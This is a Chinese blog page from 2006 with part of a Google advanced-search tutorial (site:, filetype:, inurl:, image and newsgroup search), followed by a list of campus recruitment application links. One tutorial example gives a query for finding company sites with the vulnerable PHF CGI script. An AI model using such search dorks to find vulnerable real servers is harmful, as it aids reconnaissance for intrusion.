注意:site后的冒号为英文字符,而且,冒号后不能有空格,否则,“site:”将被作为一个搜索的关键字。此外,网站域名不能有“http://”前缀,也不能有任何“/”的目录后缀;网站频道则只局限于“频道名.域名”方式,而不能是“域名/频道名”方式。

8.2,在某一类文件中查找信息

“filetype:”是Google开发的非常强大实用的一个搜索语法。也就是说,Google不仅能搜索一般的文字页面,还能对某些二进制文档进行检索。目前,Google已经能检索微软的Office文档如.xls、.ppt、.doc,.rtf,WordPerfect文档,Lotus1 - 2-3文档,Adobe的.pdf文档,ShockWave的.swf文档(Flash动画)等。其中最实用的文档搜索是PDF搜索。PDF是ADOBE 公司开发的电子文档格式,现在已经成为互联网的电子化出版标准。目前Google检索的PDF文档大约有2500万左右,大约占所有索引的二进制文档数量的80%。PDF文档通常是一些图文并茂的综合性文档,提供的资讯一般比较集中全面。

示例:搜索几个资产负债表的Office文档。
搜索:“资产负债表 filetype:doc OR filetype:xls OR filetypept”
结果:已搜索有关资产负债表 filetype:doc OR filetype:xls OR filetypept的中文(简体)网页。 共约有481项查询结果,这是第1-10项 。 搜索用时0.04秒。

注意,下载的Office文件可能含有宏病毒,谨慎操作。

示例:搜索一些关于搜索引擎知识和技巧方面的PDF文档
搜索:?"search engine" tips OR tutorial filetypedf”
结果:已向英特网搜索"search engine" tips OR tutorial filetypedf. 共约有12,600项查询结果,这是第1-10项 。 搜索用时0.22秒。

我们来看其中的一个结果:

[PDF]Search Engines Tips
文档类型: PDF/Adobe Acrobat - HTML 版
...
http://www.google.com/press/zeitgeist.html See what people are searching on at Google.com
* Search Engine Watch
http://searchenginewatch.com/ Some free tips ...
http://www.allvertical.com/PromoKits...EngineTips.pdf - 类似网页

可以看到,Google用[PDF]来标记这是一个PDF的文档检索,另外,它还给出了该PDF文档的HTML版本,该HTML版保留了文档的文字内容和结构,但没有图片。

8.3,搜索的关键字包含在URL链接中

“inurl”语法返回的网页链接中包含第一个关键字,后面的关键字则出现在链接中或者网页文档中。有很多网站把某一类具有相同属性的资源名称显示在目录名称或者网页名称中,比如“MP3”、“GALLARY”等,于是,就可以用INURL语法找到这些相关资源链接,然后,用第二个关键词确定是否有某项具体资料。INURL语法和基本搜索语法的最大区别在于,前者通常能提供非常精确的专题资料。 示例:查找MIDI曲“沧海一声笑”。
搜索:“inurl:midi “沧海一声笑””
结果:已搜索有关inurl:midi "沧海一声笑"的中文(简体)网页。 共约有27项查询结果,这是第1-10项 。 搜索用时0.34秒。

注意:“inurl:”后面不能有空格,Google也不对URL符号如“/”进行搜索。例如,Google会把“cgi-bin/phf”中的“/”当成空格处理。

“allinurl”语法返回的网页的链接中包含所有作用关键字。这个查询的关键字只集中于网页的链接字符串。

示例:查找可能具有PHF安全漏洞的公司网站。通常这些网站的CGI-BIN目录中含有PHF脚本程序(这个脚本是不安全的),表现在链接中就是“域名/cgi-bin/phf”。
搜索:“allinurl:"cgi-bin" phf +com”
结果:已向英特网搜索allinurl:"cgi-bin" phf +com. 共约有51项查询结果,这是第1-10项 。 搜索用时0.11秒。

8.4,搜索的关键字包含在网页标题中

“intitle”和“allintitle”的用法类似于上面的inurl和allinurl,只是后者对URL进行查询,而前者对网页的标题栏进行查询。网页标题,就是HTML标记语言title中之间的部分。网页设计的一个原则就是要把主页的关键内容用简洁的语言表示在网页标题中。因此,只查询标题栏,通常也可以找到高相关率的专题页面。 示例:查找日本明星藤原纪香的照片集。
搜索:“intitle:藤原纪香 "写真集"”
结果:已搜索有关intitle:藤原纪香 "写真集"的中文(简体)网页。 共约有315项查询结果,这是第1-10项 。 搜索用时0.15秒。

8.5,搜索的关键字包含在网页的“锚”(anchor)链点内

所谓“锚”,就是在同一个网页中快速切换链接点。与URL和TITLE类似,Google提供了两种对anchor的检索,“inanchor”和“allincnchor”。对此不作详述。

9,其他罕用语法

9.1,搜索所有链接到某个URL地址的网页

如果你拥有一个个人网站,估计很想知道有多少人对你的网站作了链接。而“link”语法就能让你迅速达到这个目的。

示例:搜索所有含指向华军软件园“
www.newhua.com ”链接的网页。
搜索:“link:
www.newhua.com
结果:搜索有链接到
www.newhua.com 的网页 。 共约有920项查询结果,这是第1-10项 。 搜索用时0.12秒。

注意:“link”不能与其他语法相混合操作,所以“link:”后面即使有空格,也将被Google忽略。另外还要说明的是,link只列出Google索引链接很小一部分,而非全部,所以如果你用Google没有搜到链到你的主页的链接,也不必灰心丧气。

除了上述功能,link语法还有其它妙用。一般说来,做友情链接的网站都有相似地方。这样,你可以通过这些友情链接,找到一大批具有相似内容的网站。比如说,你是个天文爱好者,你发现某网站非常不错,那么,可以用link语法查一下与之做链接的网站,也许可以找到更多符合你兴趣的内容。

9.2,查找与某个页面结构内容相似的页面

“related”用来搜索结构内容方面相似的网页。例:搜索所有与中文新浪网主页相似的页面(如网易首页,搜狐首页,中华网首页等), “related:wwwsina.com.cn/index.shtml”。我到现在也不明白这个语法有什么作用,如果有谁知道,请不吝指教。预先感谢。

9.3,从Google服务器上缓存页面中查询信息

“cache”用来搜索Google服务器上某页面的缓存,通常用于查找某些已经被删除的死链接网页,相当于使用普通搜索结果页面中的“网页快照”功能。

其它罕用语法如info、stock等不一一介绍,有兴趣的读者可以参阅Google大全。

10,图片搜索

Google自称可以检索390,000,000张图片,并称自己为“互联网上最好用的图像搜索工具”。从使用结果来看,Google的图片搜索的确不错,但个人以为比AltaVista的还是要差一些,主要体现在检索图片数量比不上AV,匹配度比AV的图片搜索器也差了些。但AltaVista 国内用户无法正常访问,因此对中国用户而言,Google的图片搜索引擎已经是最好的了。

Google首页点击“图像”链接就进入了Google的图像搜索界面“images.Google.com”。你可以在关键字栏位内输入描述图像内容的关键字,如“britney spears”,就会搜索到大量的小甜甜布兰妮的图片。我目前尚不是很清楚图片的排列标准,不过以观察来看,似乎图片文件名完全符合关键字的结果排列比较考前,然后才按照普通的页面搜索时的标准排列。

Google给出的搜索结果具有一个直观的缩略图(THUMBNAIL),以及对该缩略图的简单描述,如图像文件名称,以及大小等。点击缩略图,页面分成两祯,上祯是图像之缩略图,以及页面链接,而下祯,则是该图像所处的页面。屏幕右上角有一个“Remove Frame”的按钮,可以把框架页面迅速切换到单祯的结果页面,非常方便。

Google图像搜索目前支持的语法包括基本的搜索语法如“ ”、“-”、“OR”、“site”和 “filetype:”。其中“filetype:”的后缀只能是几种限定的图片类似,如JPG,GIF等。

示例:查找新浪网上本拉登的图片
搜索:“拉登 OR 拉丹 site:sina.com.cn”
结果:搜索有关 拉登 OR 拉丹 site:sina.com.cn 的图片。 共有6项查询结果,这是第1-6项。 搜索用时0.36秒。

这里我想说明一点的是,images.google.com作为专门的图片搜索引擎,实际上有其特殊的用途。

举个例子,互联网上本拉登的照片成千上万,但是,它们都是分散的,往往随机的分布于各种新闻报道中。如果用搜索图片库的方式(最容易想到的如 “Ben Ladin photo”),来搜索本拉登的照片,显然是不恰当的,因为很少有人专门为拉登建一个在线相册。在这个时候,images.google.com就派上用场了。

但是,如果查找的图片在网上有很多主题“gallary”,如诸多电影电视明星的照片,则明显就不适合用images.google.com来查找了。

images.google.com对于很多报纸杂志的编辑,绝对是一个雪中送炭式的工具。比如要在某个版面上插一张专题图片,用google的图片搜索功能几秒钟就可以搞定。

综上,可以有这样的一般性结论:如果要搜索的图片是分散的,则用google图片搜索;如果要搜索的图片通常是处于某个图片集合中的,则不适合用google图片搜索。

11,目录检索

如果不想搜索广泛的网页,而是想寻找某些专题网站,可以访问Google的分类目录“http: //directory.Google.com/”,中文目录是“http: //directory.Google.com/Top/World/Chinese_Simplified/”。分类的网站目录一般由专人负责,分类明确,信息集中。因此读者应该养成这样的习惯:首先考虑所需要的信息能否在一个专门主题的网站上找到。不过需要说明的是,用目录检索,往往需要用户对查询的领域很熟悉。否则,连查询的内容属于哪个类目都不知道,目录浏览也就无从谈及了。目前Google使用的分类目录采用了ODP的内容。“Open Directory Project”是网景公司所主持的一项大型公共网页目录。由全世界各地的义务编辑人员来审核挑选网页,并依照网页的性质及内容来分门别类。因此,在某一目录门类中进行搜索往往能有更高的命中率。另外,Google根据其专业的“网页级别”(PageRank)技术对目录中登录的网站进行了排序,可以让一般的检索更具高效率。

示例:查找一下介绍搜索引擎方面的中文网站
搜索:先进入中文简体分类目录,再进入“计算机”目录,再进入“互联网络”子目录,再进入“搜寻”子目录。我们看到在“World > Chinese Simplified > 计算机 > 互联网络 > 搜寻”下,还有两个子目录“分类目录 (33) 搜索引擎 (10)”,以及6个相关网站。显然,这些都是我们所需要的信息。

除了用鼠标层层点入,也可以在目录中检索。比如,在上例的“互联网络”目录下,选中“只在互联网络中搜索”选项,在搜索栏内填入“搜索引擎”进行搜索。
结果:在分类Google 网页目录项中搜索搜索引擎。 共约有387项查询结果,这是第11-20项 。 搜索用时0.09秒。

可以看到,上述查询结果比普通的检索更有效,因为在分类“互联网络”下进行搜索剔除了很多不相关的诸如新闻之类的无效信息。不过,对于中文用户而言,现在最大的问题是志愿的中文目录编辑太少,导致收录站点太少,因此搜索结果范围显得过于狭隘。但愿这个问题能随着Google以及ODP项目在国内名声的响亮而能得到改观。

12,新闻组搜索

新闻组有详尽的分类主题,某些主题还有专人管理和编辑,具有大量的有价值信息。由于新闻组包含的信息实在是海量,因此不利用工具进行检索是不大可能的。 DEJA一直是新闻组搜索引擎中的佼佼者。2001年2月份,Google将DEJA收购并提供了所有DEJA的功能。现在,除了搜索之外, Google还支持新闻组的WEB方式浏览和张贴功能。

进入Google新闻组“
http://groups.Google.com/ ”,你有两种信息查找方式。一种是一层层的点击进入特定主题讨论组,另一种则是直接搜索。现在,我们进行一个最简单的搜索试验,查找一下新闻组中关于山顶洞人的讨论信息。

搜索:“山顶洞人”
结果:在各群组内搜索 山顶洞人 共约有2,400项查询结果,这是第1-10项 。 搜索用时0.94秒。 搜索结果默认按照“留言内容”排列,但是你也可以点击“依照日期”按钮,让帖子按照发布日期排列。

因为新闻组中的帖子实在是多,而且又涉及一些普通搜索所没有的语法,所以建议使用“高级群组搜寻”进入高级搜索界面。新闻组高级搜索提供留言内容、分类主题、标题、留言者、留言代码、语言和发布日期作为条件进行搜索。其中作者项指作者发帖所用的唯一识别号电子信箱。

13,Google的其他杰出功能

13.1网页快照

网页快照是Google抓下来缓存在服务器上的网页。它有三个作用:

第一, 如果原地址打开很慢,那么可以直接查看Google缓存页面,因为Google服务器速度极快。

第二, 如果原链接已经死掉或者因为网络的原因暂时链接不通,那么可以通过Google快照看到该页面信息。当然,快照内容不是该页最新页面。

第三, 如果打开的页面信息量巨大,一下子找不到关键词所在位置,那么可以通过Google快照,因为快照中Google用黄色表明关键字位置。


13.2,集成化的工具条

为了方便搜索者,Google提供了工具条,集成于浏览器中,用户无需打开Google主页就可以在工具条内输入关键字进行搜索。此外,工具条还提供了其他许多功能,如显示页面PageRank等。最方便的一点在于用户可以快捷的在Google主页、目录服务、新闻组搜索、高级搜索和搜索设定之间切换。欲安装Google的工具条,可以访问“
http://toolbar.Google.com/ ”,按页面提示可以自动下载并安装。不过, Google工具条目前只支持IE5.0以上版本。

对于经常进行网络搜索者而言,Google工具条实在是必备的东西!!

13.3,单词英文解释

写英文文章的时候,最头疼的事情就是对某个英文单词的用法不确定。现在有了Google,一切就迎刃而解了!无论你是想查找某个生词的意思还是想了解某个单词的用法,均可使用在线词典。

进入英文Google,输入你要查的单词。举个例子,我想查一下suggest的用法。结果如下:“Searched the web for suggest. Results 1 - 10 of about 8,000,000. Search took 0.08 seconds. ”注意看上面句子中,单词suggest下出现了一个横线,点击这个链接,就跳转到另外一个网站“http: //www.dictionary.com/”,Google已经把单词提交给该网站的查询脚本。看看这个网站所提供的详尽解释吧。

13.4,网页翻译

你懂英文,但是你不见得就懂德文、法文、拉丁文。如果搜索出来的页面是这些语言怎么办?呵呵,Google提供了网页翻译功能!!虽然目前只支持有限的拉丁语、法语、西班牙语、德语和葡萄牙文,但是我不得不承认,这是个杰出功能。

试着做以下搜索:“big bang site:fr”。这个表示查找关于宇宙大爆炸的法文网页。看第一条结果:

The Big Bang Website - [ Translate this page ]
... A propos de Big Bang. Le dernier numéro en date. Les anciens numéros. Autres
activités. Concerts progressifs en France. Emissions de radio. Liens.
perso.club-internet.fr/calyx/bigbang/ - 3k - Cached - Similar pages

有点晕。没关系,点击“Translate this page”按钮。再看结果,嗯,大致能看明白,这原来是个叫“big bang”的乐队的网站,与大爆炸无关...

机器翻译是一个很前沿的人工智能课题,想指望翻译出来的结果跟专门用英语撰写的内容是不可能的。但西文间的互相转译比中英文机译强得多得多了。至少能看明白。

13.5,单词纠错

笔者记忆力很差,英文单词经常拼写错误。但Google有纠错功能。比如在写上文的时候,我要用到英文单词“tutorial”,我只是依稀记得好像是 “tatorial”的样子,但不肯定,于是用Google查了一下,它马上提醒:“您要找的会不会是: tutorial ”,呵呵,正是这个单词。

13.6,繁简转换

对中文用户而言,常希望能同时检索繁体和简体信息。Google能做到这一点。Google默认使用繁简自动转换功能,因此你输入的简体关键字也将被转换成繁体做检索。这样省了不少力气。当然,如果你不希望这样的话,也可以在“使用偏好”中把这个选项关掉。

13.7,搜索结果过滤

网络上的成人内容浩如烟海,而且很多站点具有欺骗或者其他不良企图,浏览者很容易掉入其中的陷阱。为此,Google新设立了成人内容过滤功能,见Google的设置页面,
http://www.Google.com/preferences ,最底下有一个选项SafeSearch Filtering。不过,中文状态下的Google尚没有这个功能。

14,Google尚未发布的一些新特性和功能

14.1,对网页更新日期做出限定“daterange:”

评价一个搜索引擎的好坏,更新频率是一个很关键因素。通常情况下,我们总希望能找到最新的网页。Google已经开发了对更新日期做限定的搜索语法,但目前还未公布。而且比较麻烦的是,Google现在支持的日期格式为julian(凯撒日)格式,把通用日期数值切换成julian格式需要借助第三方网站:
http://www.tesre.bo.cnr.it/~mauro/JD/ 。不过,在下面这个自称是“Google终极搜索界面”的网页上,你已经可以利用Google的这项新特性了,它自动提供日期转换功能。

Google Ultimate Interface:
http://www.faganfinder.com/google.html

Google为什么要这样做呢?也许是在测试阶段,不想让太多人使用吧。

14.2,新闻搜索“
http://news.google.com/

Google的新闻搜索尚在B测试阶段,但使用起来已经非常不错了。新闻首页按头条新闻,各国新闻,以及不同领域做了分类。你可以通过Google搜索各大门户和新闻网站的新闻,简单、快捷、方便。遗憾的是,目前Google新闻只检索英文信息。

14.3,分类广告搜索“
http://catalogs.google.com/

这也在B测试阶段。主要是对电子分类广告做检索。广告页为JPG图片格式。

14.4,其它Google的最新发展动态

想了解Google公司的工程师们都在忙些什么吗?去看一下Google实验室(
http://labs.google.com/ )吧。Google的最新设想都在这个地方向访问者展现出来。现在处于发展和试验阶段的新功能有:术语查询、语音查询、键盘查询等等。

网络工程师和程序员可以看看这个地方:
http://www.google.com/apis/ ,我想可以让你喜出望外的。

14.5,一个有趣的地方

想看看世界各国网民都用Google搜索什么信息么?到
http://www.google.com/press/zeitgeist.html 看一下就知道了。从这些资讯中,你大致可以了解到世界热点和流行时尚走向。

15,后记

这个文章4.0版本与3.0版本相比,变更很大,主要把一些与Google无关的东西删除了,另外随Google的变化作了一些修正,并增加了一些 Google尚未发布的新功能。关于搜索技巧和搜索实例,是各个搜索引擎共通的东西,是搜索者长期的经验积累,要写出来,是件工程很浩大的事情,因此在这个小文章中我就不献丑了。

随着时间的推移,我发现搜索已经成为网络生活的一部分。工作需要搜索技术文档、客户信息;购物需要搜索商品信息和指南;娱乐需要搜索相关背景资料和图片。搜索已经变得无处不在,而Google则相应的成了工作和生活中的一个必备工具。套用雅虎的一句广告词,我们也许应该这样说:“今天你 Google 了吗?”

posted @ 2006-11-23 13:11 MEYE 阅读(383) | 评论 (0)编辑 收藏
     摘要: http://www.cnitblog.com/woo/archive/2005/11/05/3907.html   Linux系统新手学习的11点建议 Posted on 2005-11-05 09:17 stone 阅读(330) 评论(1)   编辑  收藏收藏至365Key 所属分类: Unix/Linuix/...  阅读全文
posted @ 2006-11-20 12:36 MEYE 阅读(2375) | 评论 (0)编辑 收藏
J2EE  学习资料下载 :

http://download.eimhe.com/

http://www.blogjava.net/eyefly/archive/2006/11/18/81899.html

http://www.blogjava.net/youxia/archive/2006/10/17/75579.html
posted @ 2006-11-18 13:22 MEYE 阅读(310) | 评论 (0)编辑 收藏
     摘要: http://www.blogcn.com/user44/javatech/index.html ...  阅读全文
posted @ 2006-11-06 21:38 MEYE 阅读(2007) | 评论 (0)编辑 收藏
知名公司校园招聘网申地址及截至日期【9月24日更新】
发布日期:2006-9-24

备注:应届生求职网Yingjiesheng.COM(http://yingjiesheng.com)整理,如果您发现信息有误,请email告知我们(email:yingjiesheng#gmail.com 用@替换#),以便我们及时修改以方便更多同学。


知名公司校园招聘网申地址及截至日期【9月24日更新】

(按截止日期先后顺序排序)

24日更新Goldman Sachs(高盛)、Deutsche Bank(德意志银行)、ConocoPhillips(康菲石油)、Cisco(思科)、神州数码、龙湖地产、美国SPSS 、Mercer Oliver Wyman、韩国SK集团、波士顿咨询公司(BCG)北京分公司


中国金融期货交易所

(网申截至日期2006年9月30日)

网申地址:

应聘者也可以登录中国金融期货交易所网站WWW.CFFEX.COM.CN,通过“英才招聘”栏目在线报名。
进入“英才招聘”栏目后,点击“招聘公告”,查看招聘公告和报名方式;
点击“招聘职位”,查询具体职位、职位编号和任职要求;
点击“在线报名”,进入网上报名系统,点击“用户登录”注册账户,点击“简历填写”,按格式要求填写、提交相关信息。在报名截止日前,可登录网站修改简历。

招聘信息见:http://yingjiesheng.com/news/8945e6374e3ca7b0/59de104dfaeff17fc96f7d7c8c7d74ff.html


BP(英国石油)IST(Singapore)

(网申截至日期2006年9月30日)

网申地址:https://hire-asiahub.bp.com/viewjob.html?erjob=12862

招聘信息见:http://yingjiesheng.com/news/6c8cd43ed1611133/59de104dfaeff17f7b476d781eb31345.html

2007 BP IST EH高校毕业生招聘宣讲会
主讲人    BP IST EH首席营运官郭进展先生
日期:    2006年9月26日,周二
时间        北京大学,光华楼202 室        (13:00 – 15:00)
  &       
地点        清华大学经管学院,伟伦楼一层,国际报告厅    (18:00 – 20:00)


2006上海基强联行管理培训生招聘
(简历投递截至日期2006年9月30日)
简历投递方式:将中英文简历投至:stanleyco.hr@gmail.com ,并请注明 MTRA,联系电话:021-62897733 转 蔡小姐 陈先生
招聘信息见:http://yingjiesheng.com/doc/89b29b4ee52531e6/jobshow_84044.html


Shell(壳牌中国)

(网申截至日期2006年10月8日)

网申地址:http://www.shell.com/home/ExitPage?URL=http://impact-gs.jobstreet.com/Forms/Shell_MY/graduatesMain.aspx?eid=N4mcqR/HcLT57ByFAabDw1XO5FY=&uid=469|||&Source=CON&SourcesiteId=china-cn

原始信息见:http://yingjiesheng.com/news/0966febe8313a4d4/59de104dfaeff17f0050f9cc3a98d5d2.html


北京移动

(网申截至日期2006年10月7日)

网申地址:http://zhaopin.bmcc.com.cn/ext/ext/extGraduate.do

招聘信息见:http://yingjiesheng.com/news/a8151c21ba08cc46/59de104dfaeff17fedc89e9a82967a7d.html


P&G宝洁公司

(网申截至日期2006年10月8日)

网申地址:http://www.pg.com.cn/job/page1.asp

招聘信息见:http://yingjiesheng.com/news/774e6592957eb4d5/59de104dfaeff17fb3fcb9a6710e1ead.html


韩国SK集团

清华大学校园宣讲会
时间:2006年 10月 13日(星期五)19:00 ~ 21:00
地点:清华经管学院伟伦楼一层国际报告厅

招聘信息见:

http://yingjiesheng.com/news/d1d808bd2137fc62/59de104dfaeff17f14b8a6a970f5bd34.html


ConocoPhillips(康菲石油)

(网申截至日期申请时间: 2006年9月22日开始
筛选面试: 2006年10月16日—2006年11月5日
录用时间: 2006年12月初之前)

网申地址:http://campus.chinahr.com/2007/pages/copc/

招聘信息见:

http://yingjiesheng.com/news/139fbca73f73ea38/59de104dfaeff17f2b625b5152132ed7.html


Mercer Oliver Wyman

(网申截至日期:未知)

网申地址:http://www.mow.gtios.com/

招聘信息见:

http://yingjiesheng.com/news/139fbca73f73ea38/59de104dfaeff17f57fed00d7a805158.html


美国SPSS

(网申截至日期:未知)

网申地址:http://campus.chinahr.com/2007/pages/spss/

招聘信息见:

http://yingjiesheng.com/news/d1d808bd2137fc62/59de104dfaeff17fd99a32ca1751703e.html


微软

(网申截至日期2006年10月中旬)

网申地址

公网网址:   http://www.joinms.com
教育网网址: http://www.joinms.com.cn

招聘信息见:http://yingjiesheng.com/news/df29e7f24efb36ba/59de104dfaeff17f703e4b0480f75e23.html


Motorola摩托罗拉

(网申截至日期2006年10月下旬)

网申地址:http://www.motorola.com.cn/careers%5Fnew/job/Position_Search/Position_Search2.asp

招聘信息见:http://yingjiesheng.com/news/774e6592957eb4d5/59de104dfaeff17f5686a35a7943f5dd.html 


Cisco(思科)

(网申截至日期:未知)

网申地址:http://campus.chinahr.com/2007/pages/cisco/jobs.asp

招聘信息见:http://yingjiesheng.com/news/d1d808bd2137fc62/59de104dfaeff17f52f63abfa7f2eb0f.html


波士顿咨询公司(BCG)北京分公司

(简历投递截至日期:2006年10月20日17:00)

简历投递地址:

Anna Zhang
Boston Consulting (Shanghai) Co., Ltd Beijing Branch
朝阳区建国路乙118号京汇大厦902室,邮编:100022 


Your application should include:
Cover letter (English)
Resume (Both English and Chinese)
Copy of your current transcripts (Chinese) both undergraduate and graduate (if applicable)

招聘信息见:http://yingjiesheng.com/news/139fbca73f73ea38/59de104dfaeff17f81788adaca63aa95.html


UBS(瑞士联合银行)

(网申截至日期2006年10月22日)

网申地址:

请按照以下步骤查看UBS职位信息及网申地址:

第一步:https://sjobs.brassring.com/1033/asp/tg/cim_home.asp?partnerid=25008&siteid=5028

第二步:点击 Search openings 打开职位搜索器

第三步:选择location--->China, 点击Search按钮列出所有校园招聘职位及网申地址

招聘信息见: http://yingjiesheng.com/news/7ebd3f327a013d31/59de104dfaeff17ffa1bbff38973841c.html


Goldman Sachs(高盛)

(网申截至日期2006年10月22日)

网申地址:https://applyonline.gs.com/careers/erc/jsp/DataProtection.jsp

招聘信息见:

http://yingjiesheng.com/news/139fbca73f73ea38/59de104dfaeff17f8f7ef11b0eb09971.html


SLB(斯伦贝谢)

宣讲会时间:2006年10月23日 星期一晚上6:30-8:30
地点:      创新大厦2层多功能厅(清华东门外)
面向对象:  理工科背景的2007届本科,硕士,博士
请参加宣讲会的学生务必带好:中英文简历(附有1寸近照黑白,彩色均可)、成绩单
当场投递简历,面试时间将在宣讲会后通知。


上海现代建筑设计集团

(网申截至日期2006年10月23日早晨9:00)

网申地址:http://www.xd-ad.com.cn/apply/logon.jsp

招聘信息见:http://yingjiesheng.com/news/8945e6374e3ca7b0/59de104dfaeff17fed8860ca6175e8c8.html


炬力集成集团公司

(网申截至日期2006年10月25日)

网申地址:http://campus.chinahr.com/2007/pages/actions/jobs.asp

招聘信息见:http://yingjiesheng.com/news/a8151c21ba08cc46/59de104dfaeff17f54af5ab56c6f347c.html


中国国际金融有限公司(CICC,中金)
(网申截至日期2006年10月29日)
网申地址:http://www.cicc.com.cn/cicchr/Resume_cn.asp?op=Login
招聘信息见:http://yingjiesheng.com/news/89b29b4ee52531e6/59de104dfaeff17f17078b0be2f95e64.html



麦格理银行
(网申截至日期2006年10月31日)
网申地址:http://www.macquarie.com/com/about_macquarie/careers/index.htm
招聘信息见:http://yingjiesheng.com/news/02e57154bce69ebc/59de104dfaeff17fb2c8560d0a4d8206.html


Mckinsey(麦肯锡)

(网申截至日期2006年11月1日)

网申地址:http://recruiting.mckinsey.com/app004/ressub.nsf/Registrationmain?OpenForm&SiteName=GCOBA

招聘信息见:http://yingjiesheng.com/news/c7db169a121df72f/59de104dfaeff17f3248e6d7aab1e0f4.html


埃克森-美孚
(网申截至日期2006年11月3日)
网申地址:http://www.exxonmobil.com/careers/prc
招聘信息见:http://yingjiesheng.com/doc/89b29b4ee52531e6/Jobshow_84126.html


ABB中国

(网申截至日期2006年11月8日)
网申地址:http://campus.chinahr.com/2007/pages/abb/job01.asp

招聘信息见:http://yingjiesheng.com/news/7ebd3f327a013d31/59de104dfaeff17fc41c4208c968bce2.html


ABN AMRO(荷兰银行)

(网申截至日期2006年11月12日17.00 Hong Kong time)

网申地址:https://atsv7.wcn.co.uk/saf/login.cgi?owner=5013180&ownertype=fair

招聘信息见:http://yingjiesheng.com/news/6c8cd43ed1611133/59de104dfaeff17f020be6d7212aa71d.html


神龙汽车有限公司

(网申截至日期:请务必在各地区宣讲会结束后一天内,完成简历的网上投递)

网申地址:http://campus.chinahr.com/2007/pages/shenlong/jobs.asp

招聘职位及宣讲会信息见:

http://yingjiesheng.com/news/8945e6374e3ca7b0/59de104dfaeff17f7fb3fca03ea5e74f.html


强生

(网申截至日期2006年11月15日)
网申地址:http://campus.chinahr.com/2007/pages/jnj/index2.asp

招聘信息见:http://yingjiesheng.com/news/6c8cd43ed1611133/59de104dfaeff17f4e90ee47fcc6b494.html


Qimonda(奇梦达)

(简历投递截至日期2006年11月30日)
简历投递方式:

直接投递简历至西安xian-hr@qimonda.com、苏州recruitment.suzhou@qimonda.com

招聘信息见:http://yingjiesheng.com/news/7ebd3f327a013d31/59de104dfaeff17f6262f4a201bec128.html


戴姆勒·克莱斯勒

(网申截至日期说明

递交简历的截至时间是什么时候?

回答:递交简历没有明确的截止时间,如果相应的专业或岗位人数已经招满,我们将撤掉网上此专业和岗位的相关信息。

)
网申地址:http://www1.zhaopin.com/Publish/Company/Daimler/new06919/Recruitment.jsp

招聘信息见:http://yingjiesheng.com/news/6c8cd43ed1611133/59de104dfaeff17fa28ca73f8fe52906.html


中国石油天然气集团公司

(简历投递截至日期:未知)

简历投递方式:请查阅详细招聘信息

招聘信息见:http://yingjiesheng.com/news/8945e6374e3ca7b0/59de104dfaeff17f4de70b3c441bca6c.html


Google
(简历投递截至日期:未知)
简历投递方式:请将您的中英文简历(英文简历必须)以文本或HTML的格式发至jobs@google.com
招聘信息见:http://yingjiesheng.com/news/89b29b4ee52531e6/59de104dfaeff17f82ba5a661cedd76a.html



帝斯曼(DSM)
(网申截至日期:未知)
网申地址:http://www.dsm.com/en_US/html/career/RS_Internship.htm
招聘信息见:http://yingjiesheng.com/news/89b29b4ee52531e6/59de104dfaeff17f5ec44f3d65434a5e.html


百度
(网申截至日期:未知)
网申地址:http://hr.baidu.com/job.php?tp=2
招聘职位及宣讲会信息见:http://yingjiesheng.com/news/89b29b4ee52531e6/59de104dfaeff17ffc6b87616b787b98.html


HSBC(汇丰)

(网申截至日期:未知)

网申地址:http://cn.dimension.jobsdb.com/career/default.aspAC=HSBCCN&EC=HSBC&GC=HSBC01&ACIA94530886411667&73869687318802

招聘信息见:http://yingjiesheng.com/doc/df29e7f24efb36ba/jobshow_85338.html


艾默生网络能源有限公司

(网申截至日期:未知)

网申地址:http://cn.dimension.jobsdb.com/career/Default.asp?PID=1&AC=ENP&EC=ENP

招聘信息见:http://yingjiesheng.com/news/df29e7f24efb36ba/59de104dfaeff17f39c0920782586a98.html


广东北电通信设备有限公司(Nortel)

(网申截至日期:各校简历提交截止时间为宣讲会当日24点整)

网申地址:http://campus.chinahr.com/2007/pages/gdnt/jobs.asp

招聘信息见:http://yingjiesheng.com/news/e38492b5ec5d160e/59de104dfaeff17f3925290ad57578b7.html


Opera 管理咨询(上海)有限公司

(简历投递截至日期:2006年9月-10月:网上申请及简历筛选(请您于所在城市的宣讲会召开之前完成网申))

简历投递方式:

Website: www.operasolutions.com.cn
E-mail: careers@operasolutions.com.cn
Telephone: (86 21) 6859 9001 ext. 3128
Contact: Henry He
招聘信息见:http://yingjiesheng.com/doc/e38492b5ec5d160e/jobshow_81079.html


Deutsche Bank(德意志银行)

(网申截至日期:未知)

网申地址:https://secure.db.konetic.org/

招聘信息见:

http://yingjiesheng.com/news/139fbca73f73ea38/59de104dfaeff17f4d93e1d79241f7b2.html


龙湖地产

(网申截至日期:未知)

网申及简历投递地址:http://www.longhu.com/job_school.asp

下载应聘登记表.doc

(下载地址2:  http://www.yingjiesheng.com:8080/bbs/viewthread.php?tid=4342

(下载地址3:http://bbs.sjtu.edu.cn/file/job/1158891750270523.doc

参加宣讲会——填表(现场发应聘登记表或者从网站下载填写)—简历筛选—初试—复试—总经理面试—签订就业协议

招聘信息见:

http://yingjiesheng.com/news/d1d808bd2137fc62/59de104dfaeff17f9aee1c48d32e13ec.html


神州数码

(网申截至日期:未知)

网申地址:http://campus.chinahr.com/2007/pages/digitalchina/nei02.asp

招聘信息见:

http://yingjiesheng.com/news/d1d808bd2137fc62/59de104dfaeff17f6b101a09085ef09c.html


Lenovo(联想)

(网申截至日期:未知)

网申地址:http://campus.chinahr.com/2007/pages/lenovo/applynow.asp

招聘信息见:http://yingjiesheng.com/news/8945e6374e3ca7b0/59de104dfaeff17f2bd68ebdd821521c.html


辉瑞制药

(简历投递截至日期:未知)

不同工作地点投递简历email不同,详见具体招聘信息。

招聘信息见:http://yingjiesheng.com/news/c7db169a121df72f/59de104dfaeff17fda7217ccaf66f733.html


卡特彼勒技术研发(中国)有限公司

(简历投递截至日期:未知)

简历投递方式:please send Resume (both in Chinese and English) with Transcript to Lily at Zhang_Lily@cat.com

招聘信息见:http://yingjiesheng.com/news/7367c16b4b2d9fd9/59de104dfaeff17f2de56297aa29cccb.html


国家知识产权局专利审查协作中心

(简历投递截至日期:未知)

简历投递方式:

联系方式:
地址:北京市海淀区学清路16号学知轩商务楼二、三、四层     邮编:100083    传真:010-82755833
网址:www.sipo.gov.cn(国家知识产权局主页)下方链接“专利审查协作中心”或www.patentexam.com.cn
E-mail: sxzp@sipo.gov.cn
招聘信息见:http://yingjiesheng.com/news/e8c3e3b09a5bd01c/59de104dfaeff17fa61190ccce91186c.html


博世(Bosch)

(网申截至日期:未知)

网申地址:http://campus.chinahr.com/2007/pages/bosch/start/new_hr_joinbosch.asp

